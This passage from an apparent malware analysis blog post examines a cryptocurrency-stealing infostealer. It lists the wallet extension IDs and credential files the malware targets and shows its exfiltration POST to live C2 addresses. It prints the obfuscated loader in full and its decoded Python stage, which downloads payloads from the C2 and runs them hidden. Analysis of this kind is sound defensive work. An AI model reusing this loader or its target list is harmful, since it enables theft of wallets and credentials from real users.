class="attribute">nphplpgoakhhjchkkhmiggakijnkhfnd</span></span><br></pre></td></tr></table></figure></li><li><p>Auro Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">penjlddjkjgpnkllboccdgccekpkcbin</span></span><br></pre></td></tr></table></figure></li><li><p>SafePal</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">lgmpcpglpngdoalbgeoldeajfclnhafa</span></span><br></pre></td></tr></table></figure></li><li><p>Solflare</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fldfpgipfncgndfolcbkdeeknbbbnhcc</span></span><br></pre></td></tr></table></figure></li><li><p>Solflare Old Version</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">bhhhlbepdkbapadjdnnojkbgioiodbic</span></span><br></pre></td></tr></table></figure></li><li><p>Coin98 Duplicate</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aeachknmefphepccionboohckonoeemg</span></span><br></pre></td></tr></table></figure></li><li><p>Jaxx Liberty</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">gjnckgkfmgmibbkoficdidcljeaaaheg</span></span><br></pre></td></tr></table></figure></li><li><p>Math Wallet New Version</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">afbcbjpbpfadlkmhmclhkeeodmamcflc</span></span><br></pre></td></tr></table></figure></li><li><p>Exodus Wallet</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="params">Windows:</span>  <span class="symbol">~/AppData/Roaming/Exodus/exodus.wallet</span></span><br><span class="line"><span class="params">macOS:</span> <span class="symbol">~/Library/Application</span> Support<span class="symbol">/exodus.wallet</span></span><br><span class="line"><span class="params">Linux:</span> ~<span class="operator">/</span>.config<span class="operator">/</span>Exodus<span class="operator">/</span>exodus.wallet</span><br></pre></td></tr></table></figure></li><li><p>Firefox moz-extension IDB</p><figure class="highlight gradle"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">~<span class="regexp">/AppData/</span>Roaming<span class="regexp">/Mozilla/</span>Firefox<span class="regexp">/Profiles/</span>*<span class="regexp">/storage/</span><span class="keyword">default</span><span class="regexp">/moz-extension*/i</span>db）</span><br></pre></td></tr></table></figure></li><li><p>If Windows</p><ul><li><p>Edge Wallet Extension Data</p><figure class="highlight crmsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">~/AppData/Local/Microsoft/Edge/<span class="keyword">User</span> <span class="title">Data</span></span><br></pre></td></tr></table></figure></li></ul></li><li><p>If macOS</p><ul><li><p>macOS Keychain</p><figure class="highlight arcade"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">~<span class="regexp">/Library/</span>Keychains/login.keychain-db</span><br></pre></td></tr></table></figure></li><li><p>Chrome Login Data</p></li><li><p>Brave Login Data</p></li></ul></li></ul><ul><li>If Windows&#x2F;Linux<ul><li>Chrome Login Data</li><li>Chrome Local State</li><li>Brave Login Data</li><li>Brave Local State</li><li>Opera Login Data</li><li>Opera Local State</li></ul></li></ul></li></ul><p>The information stolen above will be temporarily stored in <code>~./n3/</code> folder before uploading.</p><p>Example structure of HTTP POST for the two IPs:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/uploads</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>&lt;146.70.253[.]107:1224 / 23.227.203[.]18:1224&gt;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; boundary=&lt;boundary&gt;</span><br><span class="line"></span><br><span class="line"><span class="language-nix">------<span class="symbol">&lt;boundary&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;type&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="number">15</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>-----<span class="symbol">&lt;boundary&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;hid&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="number">812</span>_<span class="symbol">&lt;hostname&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>-----<span class="symbol">&lt;boundary&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;uts&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="symbol">&lt;unix_timestamp&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>-----<span class="symbol">&lt;boundary&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;multi_file&quot;</span>; <span class="attr">filename</span><span class="operator">=</span><span class="string">&quot;&lt;filename&gt;&quot;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Type:</span> <span class="symbol">&lt;content-type&gt;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="symbol">&lt;binary_file_content&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>-----<span class="symbol">&lt;boundary&gt;</span>--</span></span><br></pre></td></tr></table></figure><p>This type of Sample execution does not end here.</p><p>Next it will request <code>http://146.70.253[.]107:1224/client/15/812</code> to get a next stage python file, and store it in <code>~/.nlq</code>.</p><p>And visit <code>https://api.npoint[.]io/96979650f5739bcbaebb</code> to get configuration file.</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;<span class="selector-tag">A</span>&quot;:<span class="number">1</span>,<span class="string">&quot;B&quot;</span>:<span class="number">1</span>,<span class="string">&quot;C&quot;</span>:<span class="number">1</span>,<span class="string">&quot;name&quot;</span>:<span class="string">&quot;winrar&quot;</span>&#125;</span><br></pre></td></tr></table></figure><p>This configuration file is mainly to locate windows python execution environment.</p><ul><li>Windows environment<ul><li>It checks if <code>%USERPROFILE%\winrar\python.exe</code> path exists. If not, it goes to <code>http://146.70.253[.]107:1224/pdown</code> to download python3.11 package, and after download executes <code>%USERPROFILE%\winrar\python.exe ~/.nlq</code>.</li></ul></li><li>Other OS<ul><li>Directly executes <code>python3 ~/.nlq</code>.</li></ul></li></ul><p>Next analyze <code>.nlq</code> file, this file is packaged as a script doing zlib decompress + base64decode multiple times.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">_ = <span class="keyword">lambda</span> __ : <span class="built_in">__import__</span>(<span class="string">&#x27;zlib&#x27;</span>).decompress(<span class="built_in">__import__</span>(<span class="string">&#x27;base64&#x27;</span>).b64decode(__[::-<span class="number">1</span>]));<span class="built_in">exec</span>((_)(<span class="string">b&#x27;==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&#x27;</span>))</span><br></pre></td></tr></table></figure><p>After decoding this file, it is the following code:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64,platform,os,subprocess,sys</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable, <span class="string">&#x27;-m&#x27;</span>, <span class="string">&#x27;pip&#x27;</span>, <span class="string">&#x27;install&#x27;</span>, <span class="string">&#x27;requests&#x27;</span>]);<span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">sType = <span class="string">&quot;15&quot;</span></span><br><span class="line">gType = <span class="string">&quot;812&quot;</span></span><br><span class="line">ot = platform.system()</span><br><span class="line">home = os.path.expanduser(<span class="string">&quot;~&quot;</span>)</span><br><span class="line"></span><br><span class="line">mainUpdateDate = <span class="string">&quot;Updated on 5th August&quot;</span></span><br><span class="line"></span><br><span class="line">host1 = <span class="string">&quot;146.70.253.107&quot;</span></span><br><span class="line">host2 = <span class="string">f&#x27;http://<span class="subst">&#123;host1&#125;</span>:1224&#x27;</span></span><br><span class="line">pd = os.path.join(home, <span class="string">&quot;.n2&quot;</span>)</span><br><span class="line">ap = pd + <span class="string">&quot;/way&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">download_payload</span>():</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(ap):</span><br><span class="line">        <span class="keyword">try</span>:os.remove(ap)</span><br><span class="line">        <span class="keyword">except</span> OSError:<span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(pd):os.makedirs(pd)</span><br><span class="line">    <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> ot==<span class="string">&quot;Darwin&quot;</span>:</span><br><span class="line">            <span class="comment"># aa = requests.get(host2+&quot;/payload1/&quot;+sType+&quot;/&quot;+gType, allow_redirects=True)</span></span><br><span class="line">            aa = requests.get(host2+<span class="string">&quot;/payload/&quot;</span>+sType+<span class="string">&quot;/&quot;</span>+gType, allow_redirects=<span class="literal">True</span>)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(ap, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:f.write(aa.content)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            aa = requests.get(host2+<span class="string">&quot;/payload/&quot;</span>+sType+<span class="string">&quot;/&quot;</span>+gType, allow_redirects=<span class="literal">True</span>)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(ap, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:f.write(aa.content)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">res=download_payload()</span><br><span class="line"><span class="keyword">if</span> res:</span><br><span class="line">    <span class="keyword">if</span> ot==<span class="string">&quot;Windows&quot;</span>:subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)</span><br><span class="line">    <span class="keyword">else</span>:subprocess.Popen([sys.executable, ap])</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ot==<span class="string">&quot;Darwin&quot;</span>:sys.exit(-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">ap = pd + <span class="string">&quot;/pow&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">download_browse</span>():</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(ap):</span><br><span class="line">        <span class="keyword">try</span>:os.remove(ap)</span><br><span class="line">        <span class="keyword">except</span> OSError:<span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(pd):os.makedirs(pd)</span><br><span class="line">    <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        aa=requests.get(host2+<span class="string">&quot;/brow/&quot;</span>+ sType +<span class="string">&quot;/&quot;</span>+gType, allow_redirects=<span class="literal">True</span>)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(ap, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:f.write(aa.content)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">res=download_browse()</span><br><span class="line"><span class="keyword">if</span> res:</span><br><span class="line">    <span class="keyword">if</span> ot==<span class="string">&quot;Windows&quot;</span>:subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)</span><br><span class="line">    <span class="keyword">else</span>:subprocess.Popen([sys.executable, ap])</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Discover it used HTTP GET to request <code>http://146.70.253[.]107:1224/payload/15/812</code> and <code>http://146.70.253[.]107:1224/brow/15/812</code>, saving as <code>~/.n2/way</code> and <code>~/.n2/pow</code> respectively, and executed them.</p><hr><h4 id="n2-way"><a href="#n2-way" class="headerlink" title="~&#x2F;.n2&#x2F;way"></a>~&#x2F;.n2&#x2F;way</h4><p>This module mainly performs C2 control commands.</p><p>First it sends initial notification to <code>http://146.70.253[.]107:1224/keys</code> carrying Host Info and SysInfo.</p><p>HTTP POST request follows:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/keys</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>146.70.253.107:1224</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>python-requests/x.x.x</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>*/*</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>keep-alive</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>&lt;Length&gt;</span><br><span class="line"></span><br><span class="line"><span class="language-vim"><span class="keyword">ts</span>=<span class="symbol">&lt;Timestamp_Milliseconds&gt;</span>&amp;<span class="built_in">type</span>=<span class="number">15</span>&amp;<span class="keyword">hid</span>=<span class="number">812</span>_<span class="symbol">&lt;Hostname&gt;</span>&amp;ss=sys_info&amp;<span class="keyword">cc</span>=&#123;<span class="string">&#x27;uuid&#x27;</span>: <span class="string">&#x27;&lt;UUID&gt;&#x27;</span>, <span class="string">&#x27;system&#x27;</span>: <span class="string">&#x27;&lt;OS&gt;&#x27;</span>, <span class="string">&#x27;release&#x27;</span>: <span class="string">&#x27;&lt;Release&gt;&#x27;</span>, <span class="string">&#x27;version&#x27;</span>: <span class="string">&#x27;&lt;Version&gt;&#x27;</span>, <span class="string">&#x27;hostname&#x27;</span>: <span class="string">&#x27;812_&lt;Hostname&gt;&#x27;</span>, <span class="string">&#x27;username&#x27;</span>: <span class="string">&#x27;&lt;Username&gt;&#x27;</span>, <span class="string">&#x27;net_info&#x27;</span>: &#123;<span class="string">&#x27;query&#x27;</span>: <span class="string">&#x27;&lt;Public_IP&gt;&#x27;</span>, <span 